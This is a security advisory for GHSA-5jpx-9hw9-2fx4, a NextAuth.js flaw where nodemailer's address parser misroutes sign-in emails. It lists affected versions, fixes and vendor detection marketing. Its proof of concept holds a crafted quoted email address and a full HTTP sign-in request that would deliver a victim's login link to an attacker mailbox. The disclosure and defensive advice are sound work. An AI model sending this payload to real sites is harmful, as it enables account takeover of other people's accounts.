GHSA-5jpx-9hw9-2fx4
NextAuthjs Email misdelivery Vulnerability
Blast Radius
Weekly download volume for affected packages — a proxy for how broadly this vulnerability is deployed.
next-authnpmDescription
Summary
NextAuth.js's email sign-in can be forced to deliver authentication emails to an attacker-controlled mailbox due to a bug in nodemailer's address parser used by the project (fixed in nodemailer v7.0.7). A crafted input such as:
"[email protected]"@victim.com
is parsed incorrectly and results in the message being delivered to [email protected] (attacker) instead of "<[email protected]>@victim.com" (the intended recipient at victim.com) in violation of RFC 5321/5322 semantics. This allows an attacker to receive login/verification links or other sensitive emails intended for the victim.
| ≤ Version | Afftected |
|---|---|
| 4.24.11 | Yes |
| 5.0.0-beta.29 | Yes |
POC
Example Setup showing misdelivery of email
import NextAuth from "next-auth"
import Nodemailer from "next-auth/providers/nodemailer"
import { PrismaAdapter } from "@auth/prisma-adapter"
import { prisma } from "@/lib/prisma"
export const { handlers, auth, signIn, signOut } = NextAuth({
adapter: PrismaAdapter(prisma),
providers: [
Nodemailer({
server: {
host: "127.0.0.1",
port: 1025,
...
},
from: "[email protected]",
}),
],
pages: {
signIn: '/auth/signin',
verifyRequest: '/auth/verify-request',
},
})
POST /api/auth/signin/nodemailer HTTP/1.1
Accept-Encoding: gzip, deflate, br, zstd
Cache-Control: no-cache
Connection: keep-alive
Content-Length: 176
DNT: 1
Host: localhost:3000
Origin: http://localhost:3000
Pragma: no-cache
Referer: http://localhost:3000/auth/signin
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
accept: */*
accept-language: en-US,en;q=0.9,ta;q=0.8
content-type: application/x-www-form-urlencoded
sec-ch-ua: "Google Chrome";v="141", "Not?A_Brand";v="8", "Chromium";v="141"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
x-auth-return-redirect: 1
email=%22e%40attacker.coccm%22%40victim.com&csrfToken=90f5e6f48ab577ab011f212011862dcfe546459c23764cf891aab2d176f8d77a&callbackUrl=http%3A%2F%2Flocalhost%3A3000%2Fauth%2Fsignin
Mitigation
Update to nodemailer 7.0.7
Credits
https://zeropath.com/ Helped identify this security issue
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | next-auth | all versions | 4.24.12 |
| 📦npm | next-auth | ≥ 5.0.0-beta.0&&< 5.0.0-beta.30 | 5.0.0-beta.30 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for next-auth. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update next-auth to 4.24.12 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-5jpx-9hw9-2fx4 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-5jpx-9hw9-2fx4 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-5jpx-9hw9-2fx4. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-5jpx-9hw9-2fx4 in your dependencies?
O3 detects GHSA-5jpx-9hw9-2fx4 across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.